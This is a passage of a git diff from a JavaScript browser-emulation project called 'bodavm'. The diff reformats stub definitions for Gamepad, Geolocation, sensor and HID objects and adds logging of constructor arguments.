"value_get", arguments)}, set:undefined},'prototype'); +// GamepadButton对象 + +bodavm.memory.globalobj['GamepadButton'] = function GamepadButton() { + console.log_copy('GamepadButton 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GamepadButton)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadButton'], "GamepadButton"); +bodavm.toolsFunc.defineProperty('GamepadButton', "pressed", { + configurable: true, + enumerable: true, + get: function pressed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "pressed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GamepadButton', "touched", { + configurable: true, + enumerable: true, + get: function touched() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "touched_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GamepadButton', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadButton'].prototype, "GamepadButton", "value_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/GamepadEvent.js b/env_xbb_lastest_jsdom/env/GamepadEvent.js index 38f8421d..8747e980 100644 --- a/env_xbb_lastest_jsdom/env/GamepadEvent.js +++ b/env_xbb_lastest_jsdom/env/GamepadEvent.js @@ -1,6 +1,27 @@ -// GamepadEvent对象 -bodavm.memory.globalobj['GamepadEvent'] = function GamepadEvent(){if (!(this instanceof GamepadEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'GamepadEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadEvent'], "GamepadEvent"); -bodavm.memory.globalobj['GamepadEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['GamepadEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('GamepadEvent', "gamepad", {configurable:true, enumerable:true, get:function gamepad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadEvent'].prototype, "GamepadEvent", "gamepad_get", arguments)}, set:undefined},'prototype'); +// GamepadEvent对象 + +bodavm.memory.globalobj['GamepadEvent'] = function GamepadEvent() { + console.log_copy('GamepadEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GamepadEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'GamepadEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadEvent'], "GamepadEvent"); +bodavm.memory.globalobj['GamepadEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['GamepadEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('GamepadEvent', "gamepad", { + configurable: true, + enumerable: true, + get: function gamepad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadEvent'].prototype, "GamepadEvent", "gamepad_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/GamepadHapticActuator.js b/env_xbb_lastest_jsdom/env/GamepadHapticActuator.js index fc41299f..578e096b 100644 --- a/env_xbb_lastest_jsdom/env/GamepadHapticActuator.js +++ b/env_xbb_lastest_jsdom/env/GamepadHapticActuator.js @@ -1,6 +1,41 @@ -// GamepadHapticActuator对象 -bodavm.memory.globalobj['GamepadHapticActuator'] = function GamepadHapticActuator(){if (!(this instanceof GamepadHapticActuator)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadHapticActuator'], "GamepadHapticActuator"); -bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "playEffect", {configurable:true, enumerable:true, writable:true, value:function playEffect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "playEffect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "reset", arguments)}},'prototype'); +// GamepadHapticActuator对象 + +bodavm.memory.globalobj['GamepadHapticActuator'] = function GamepadHapticActuator() { + console.log_copy('GamepadHapticActuator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GamepadHapticActuator)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GamepadHapticActuator'], "GamepadHapticActuator"); +bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "playEffect", { + configurable: true, + enumerable: true, + writable: true, + value: function playEffect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "playEffect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GamepadHapticActuator', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GamepadHapticActuator'].prototype, "GamepadHapticActuator", "reset", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Geolocation.js b/env_xbb_lastest_jsdom/env/Geolocation.js index d8696f60..72a1d417 100644 --- a/env_xbb_lastest_jsdom/env/Geolocation.js +++ b/env_xbb_lastest_jsdom/env/Geolocation.js @@ -1,6 +1,41 @@ -// Geolocation对象 -bodavm.memory.globalobj['Geolocation'] = function Geolocation(){if (!(this instanceof Geolocation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Geolocation'], "Geolocation"); -bodavm.toolsFunc.defineProperty('Geolocation', "clearWatch", {configurable:true, enumerable:true, writable:true, value:function clearWatch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "clearWatch", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Geolocation', "getCurrentPosition", {configurable:true, enumerable:true, writable:true, value:function getCurrentPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "getCurrentPosition", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Geolocation', "watchPosition", {configurable:true, enumerable:true, writable:true, value:function watchPosition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "watchPosition", arguments)}},'prototype'); +// Geolocation对象 + +bodavm.memory.globalobj['Geolocation'] = function Geolocation() { + console.log_copy('Geolocation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Geolocation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Geolocation'], "Geolocation"); +bodavm.toolsFunc.defineProperty('Geolocation', "clearWatch", { + configurable: true, + enumerable: true, + writable: true, + value: function clearWatch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "clearWatch", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Geolocation', "getCurrentPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function getCurrentPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "getCurrentPosition", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Geolocation', "watchPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function watchPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Geolocation'].prototype, "Geolocation", "watchPosition", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/GeolocationCoordinates.js b/env_xbb_lastest_jsdom/env/GeolocationCoordinates.js index 0836938b..6149ee02 100644 --- a/env_xbb_lastest_jsdom/env/GeolocationCoordinates.js +++ b/env_xbb_lastest_jsdom/env/GeolocationCoordinates.js @@ -1,10 +1,73 @@ -// GeolocationCoordinates对象 -bodavm.memory.globalobj['GeolocationCoordinates'] = function GeolocationCoordinates(){if (!(this instanceof GeolocationCoordinates)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationCoordinates'], "GeolocationCoordinates"); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "latitude", {configurable:true, enumerable:true, get:function latitude (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "latitude_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "longitude", {configurable:true, enumerable:true, get:function longitude (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "longitude_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "altitude", {configurable:true, enumerable:true, get:function altitude (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "altitude_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "accuracy", {configurable:true, enumerable:true, get:function accuracy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "accuracy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "altitudeAccuracy", {configurable:true, enumerable:true, get:function altitudeAccuracy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "altitudeAccuracy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "heading", {configurable:true, enumerable:true, get:function heading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "heading_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "speed", {configurable:true, enumerable:true, get:function speed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "speed_get", arguments)}, set:undefined},'prototype'); +// GeolocationCoordinates对象 + +bodavm.memory.globalobj['GeolocationCoordinates'] = function GeolocationCoordinates() { + console.log_copy('GeolocationCoordinates 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GeolocationCoordinates)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationCoordinates'], "GeolocationCoordinates"); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "latitude", { + configurable: true, + enumerable: true, + get: function latitude() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "latitude_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "longitude", { + configurable: true, + enumerable: true, + get: function longitude() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "longitude_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "altitude", { + configurable: true, + enumerable: true, + get: function altitude() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "altitude_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "accuracy", { + configurable: true, + enumerable: true, + get: function accuracy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "accuracy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "altitudeAccuracy", { + configurable: true, + enumerable: true, + get: function altitudeAccuracy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "altitudeAccuracy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "heading", { + configurable: true, + enumerable: true, + get: function heading() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "heading_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationCoordinates', "speed", { + configurable: true, + enumerable: true, + get: function speed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationCoordinates'].prototype, "GeolocationCoordinates", "speed_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/GeolocationPosition.js b/env_xbb_lastest_jsdom/env/GeolocationPosition.js index bd9af1c6..91708af5 100644 --- a/env_xbb_lastest_jsdom/env/GeolocationPosition.js +++ b/env_xbb_lastest_jsdom/env/GeolocationPosition.js @@ -1,5 +1,33 @@ -// GeolocationPosition对象 -bodavm.memory.globalobj['GeolocationPosition'] = function GeolocationPosition(){if (!(this instanceof GeolocationPosition)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationPosition'], "GeolocationPosition"); -bodavm.toolsFunc.defineProperty('GeolocationPosition', "coords", {configurable:true, enumerable:true, get:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPosition'].prototype, "GeolocationPosition", "coords_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPosition', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPosition'].prototype, "GeolocationPosition", "timestamp_get", arguments)}, set:undefined},'prototype'); +// GeolocationPosition对象 + +bodavm.memory.globalobj['GeolocationPosition'] = function GeolocationPosition() { + console.log_copy('GeolocationPosition 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GeolocationPosition)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationPosition'], "GeolocationPosition"); +bodavm.toolsFunc.defineProperty('GeolocationPosition', "coords", { + configurable: true, + enumerable: true, + get: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPosition'].prototype, "GeolocationPosition", "coords_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPosition', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPosition'].prototype, "GeolocationPosition", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/GeolocationPositionError.js b/env_xbb_lastest_jsdom/env/GeolocationPositionError.js index 98ecd592..9a8c8594 100644 --- a/env_xbb_lastest_jsdom/env/GeolocationPositionError.js +++ b/env_xbb_lastest_jsdom/env/GeolocationPositionError.js @@ -1,11 +1,69 @@ -// GeolocationPositionError对象 -bodavm.memory.globalobj['GeolocationPositionError'] = function GeolocationPositionError(){if (!(this instanceof GeolocationPositionError)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationPositionError'], "GeolocationPositionError"); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "PERMISSION_DENIED", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "POSITION_UNAVAILABLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "TIMEOUT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPositionError'].prototype, "GeolocationPositionError", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPositionError'].prototype, "GeolocationPositionError", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "PERMISSION_DENIED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "POSITION_UNAVAILABLE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('GeolocationPositionError', "TIMEOUT", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); +// GeolocationPositionError对象 + +bodavm.memory.globalobj['GeolocationPositionError'] = function GeolocationPositionError() { + console.log_copy('GeolocationPositionError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof GeolocationPositionError)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GeolocationPositionError'], "GeolocationPositionError"); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "PERMISSION_DENIED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "POSITION_UNAVAILABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "TIMEOUT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPositionError'].prototype, "GeolocationPositionError", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['GeolocationPositionError'].prototype, "GeolocationPositionError", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "PERMISSION_DENIED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "POSITION_UNAVAILABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('GeolocationPositionError', "TIMEOUT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/GravitySensor.js b/env_xbb_lastest_jsdom/env/GravitySensor.js index f22dacc5..50d74df7 100644 --- a/env_xbb_lastest_jsdom/env/GravitySensor.js +++ b/env_xbb_lastest_jsdom/env/GravitySensor.js @@ -1,5 +1,16 @@ -// GravitySensor对象 -bodavm.memory.globalobj['GravitySensor'] = function GravitySensor(){this._boarg= new bodaobj.window.GravitySensor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GravitySensor'], "GravitySensor"); -bodavm.memory.globalobj['GravitySensor'].prototype.__proto__=bodavm.memory.globalobj['Accelerometer'].prototype; -bodavm.memory.globalobj['GravitySensor'].__proto__=bodavm.memory.globalobj['Accelerometer']; +// GravitySensor对象 + +bodavm.memory.globalobj['GravitySensor'] = function GravitySensor() { + console.log_copy('GravitySensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.GravitySensor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['GravitySensor'], "GravitySensor"); +bodavm.memory.globalobj['GravitySensor'].prototype.__proto__ = bodavm.memory.globalobj['Accelerometer'].prototype; +bodavm.memory.globalobj['GravitySensor'].__proto__ = bodavm.memory.globalobj['Accelerometer']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Gyroscope.js b/env_xbb_lastest_jsdom/env/Gyroscope.js index d1afecea..be7ece84 100644 --- a/env_xbb_lastest_jsdom/env/Gyroscope.js +++ b/env_xbb_lastest_jsdom/env/Gyroscope.js @@ -1,8 +1,40 @@ -// Gyroscope对象 -bodavm.memory.globalobj['Gyroscope'] = function Gyroscope(){this._boarg= new bodaobj.window.Gyroscope();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Gyroscope'], "Gyroscope"); -bodavm.memory.globalobj['Gyroscope'].prototype.__proto__=bodavm.memory.globalobj['Sensor'].prototype; -bodavm.memory.globalobj['Gyroscope'].__proto__=bodavm.memory.globalobj['Sensor']; -bodavm.toolsFunc.defineProperty('Gyroscope', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gyroscope', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Gyroscope', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "z_get", arguments)}, set:undefined},'prototype'); +// Gyroscope对象 + +bodavm.memory.globalobj['Gyroscope'] = function Gyroscope() { + console.log_copy('Gyroscope 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Gyroscope(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Gyroscope'], "Gyroscope"); +bodavm.memory.globalobj['Gyroscope'].prototype.__proto__ = bodavm.memory.globalobj['Sensor'].prototype; +bodavm.memory.globalobj['Gyroscope'].__proto__ = bodavm.memory.globalobj['Sensor']; +bodavm.toolsFunc.defineProperty('Gyroscope', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gyroscope', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Gyroscope', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Gyroscope'].prototype, "Gyroscope", "z_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HID.js b/env_xbb_lastest_jsdom/env/HID.js index e6927010..1f6cfb51 100644 --- a/env_xbb_lastest_jsdom/env/HID.js +++ b/env_xbb_lastest_jsdom/env/HID.js @@ -1,9 +1,55 @@ -// HID对象 -bodavm.memory.globalobj['HID'] = function HID(){if (!(this instanceof HID)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HID'], "HID"); -bodavm.memory.globalobj['HID'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['HID'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('HID', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HID', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HID', "getDevices", {configurable:true, enumerable:true, writable:true, value:function getDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "getDevices", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HID', "requestDevice", {configurable:true, enumerable:true, writable:true, value:function requestDevice (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "requestDevice", arguments)}},'prototype'); +// HID对象 + +bodavm.memory.globalobj['HID'] = function HID() { + console.log_copy('HID 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HID)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HID'], "HID"); +bodavm.memory.globalobj['HID'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['HID'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('HID', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HID', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HID', "getDevices", { + configurable: true, + enumerable: true, + writable: true, + value: function getDevices() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "getDevices", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HID', "requestDevice", { + configurable: true, + enumerable: true, + writable: true, + value: function requestDevice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HID'].prototype, "HID", "requestDevice", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HIDConnectionEvent.js b/env_xbb_lastest_jsdom/env/HIDConnectionEvent.js index 7a1685e6..797edd1b 100644 --- a/env_xbb_lastest_jsdom/env/HIDConnectionEvent.js +++ b/env_xbb_lastest_jsdom/env/HIDConnectionEvent.js @@ -1,6 +1,27 @@ -// HIDConnectionEvent对象 -bodavm.memory.globalobj['HIDConnectionEvent'] = function HIDConnectionEvent(){if (!(this instanceof 